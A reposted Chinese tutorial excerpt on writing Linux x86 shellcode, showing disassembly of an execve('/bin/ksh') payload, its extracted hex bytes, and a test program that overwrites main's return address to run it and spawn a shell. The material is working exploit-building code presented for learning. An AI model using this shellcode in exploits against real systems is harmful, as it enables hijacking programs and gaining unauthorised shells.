| 域名空间 下载中心 社区论坛 信息公告 MY小屋 |
![]() |
联系我们 设为首页 加入收藏 |
|
首页 | 新闻资讯 | 编程开发 | 网页设计 | 图形图象 | 网络媒体 | 网站模板 | 数 据 库 | 投稿 论坛 | 操作系统 | 系统优化 | 网络安全 | 黑客技术 | 硬件学堂 | 硬件报价 | 服 务 器 | 地图 专题 | 应用软件 | 聊天通讯 | Q Q 专栏 | 建站经验 | 在线工具 | 站长Club | 注 册 表 | 旧版 社会 | 游戏娱乐 | 设计欣赏 | 疑难解答 | 社区论坛 | 韩国素材 | 素材图库 | 广告服务 | 服务 |
| 新版上线![旧版] | |||||
注:打开慢时请稍等
书写Linux下自己的shellcodehttp://www.iyit.net 日期:2006-4-29 23:23:54 来源: 点击: |
/home/scz/src/shellcodeasm.c:3 __asm__ 804839b: eb 2a jmp 80483c7 804839d: 5e popl %esi 804839e: 89 76 09 movl %esi,0x9(%esi) 80483a1: c6 46 08 00 movb $0x0,0x8(%esi) 80483a5: c7 46 0d 00 00 00 00 movl $0x0,0xd(%esi) 80483ac: b8 0b 00 00 00 movl $0xb,%eax 80483b1: 89 f3 movl %esi,%ebx 80483b3: 8d 4e 09 leal 0x9(%esi),%ecx 80483b6: 8d 56 0d leal 0xd(%esi),%edx 80483b9: cd 80 int $0x80 80483bb: b8 01 00 00 00 movl $0x1,%eax 80483c0: bb 00 00 00 00 movl $0x0,%ebx 80483c5: cd 80 int $0x80 80483c7: e8 d1 ff ff ff call 804839d 80483cc: 2f das 80483cd: 62 69 6e boundl 0x6e(%ecx),%ebp 80483d0: 2f das 80483d1: 6b 73 68 00 imull $0x0,0x68(%ebx),%esi /home/scz/src/shellcodeasm.c:21 (" jmp 0x2a # 3 bytes popl %esi # 1 byte movl %esi,0x9(%esi) # 3 bytes movb $0x0,0x8(%esi) # 4 bytes movl $0x0,0xd(%esi) # 7 bytes movl $0xb,%eax # 5 bytes movl %esi,%ebx # 2 bytes leal 0x9(%esi),%ecx # 3 bytes leal 0xd(%esi),%edx # 3 bytes int $0x80 # 2 bytes movl $0x1, %eax # 5 bytes movl $0x0, %ebx # 5 bytes int $0x80 # 2 bytes call -0x2f # 5 bytes .string \"/bin/ksh\" # 9 bytes "); } 80483d5: c9 leave 80483d6: c3 ret 80483d7: 90 nop 整理shellcode如下: eb 2a 5e 89 76 09 c6 46 08 00 c7 46 0d 00 00 00 00 b8 0b 00 00 00 89 f3 8d 4e 09 8d 56 0d cd 80 b8 01 00 00 00 bb 00 00 00 00 cd 80 e8 d1 ff ff ff 2f 62 69 6e 2f 6b 73 68 00 c9 c3 18. 验证shellcode vi shelltest.c char shellcode[] = "\xeb\x2a\x5e\x89\x76\x09\xc6\x46\x08\x00\xc7\x46\x0d\x00\x00\x00\x00\xb8\x0b\x00" "\x00\x00\x89\xf3\x8d\x4e\x09\x8d\x56\x0d\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00" "\x00\x00\xcd\x80\xe8\xd1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x6b\x73\x68\x00\xc9\xc3"; int main () { int * ret; /* 当前esp指向的地址保存ret的值 */ ret = ( int * )%26amp;ret + 2; /* 得到 esp + 2 * 4,那是返回地址IP */ ( *ret ) = ( int )shellcode; /* 修改了 main() 函数的返回地址,那是很重要的一步 */ } [scz@ /home/scz/src]%26gt; gcc -o shelltest shelltest.c [scz@ /home/scz/src]%26gt; ./shelltest $ exit [scz@ /home/scz/src]%26gt; 那说明一切都成功了!为了帮助你理解,我们还是来看看这段程序究竟做了什么: objdump -j .text -Sl shelltest | more /main 得到如下结果: 08048398 : main(): 8048398: 55 pushl %ebp 8048399: 89 e5 movl %esp,%ebp 编辑: [发送给好友] [打印本页] [关闭窗口] [返回顶部] 上一篇:Linux开发人员发布WindowsXP仿真桌面 下一篇:FreeBSDshellcode编写攻略 转载请注明来源:www.iyit.net 特别声明: 本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载,但请务必注明出处和原始作者。文章版权归文章原始作者所有。对于被本站转载文章的个人和网站,我们表示深深的谢意。如果本站转载的文章有版权问题请联系编辑人员,我们尽快予以更正。 |
| 最新更新 | 热点排行 | 推荐新闻 | |||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||
| 友情链接 | ||||||
| 设置首 页 - 版权声明 - 广告服务 - 关于我们 - 联系我们 - 友情连接 |
| |||||||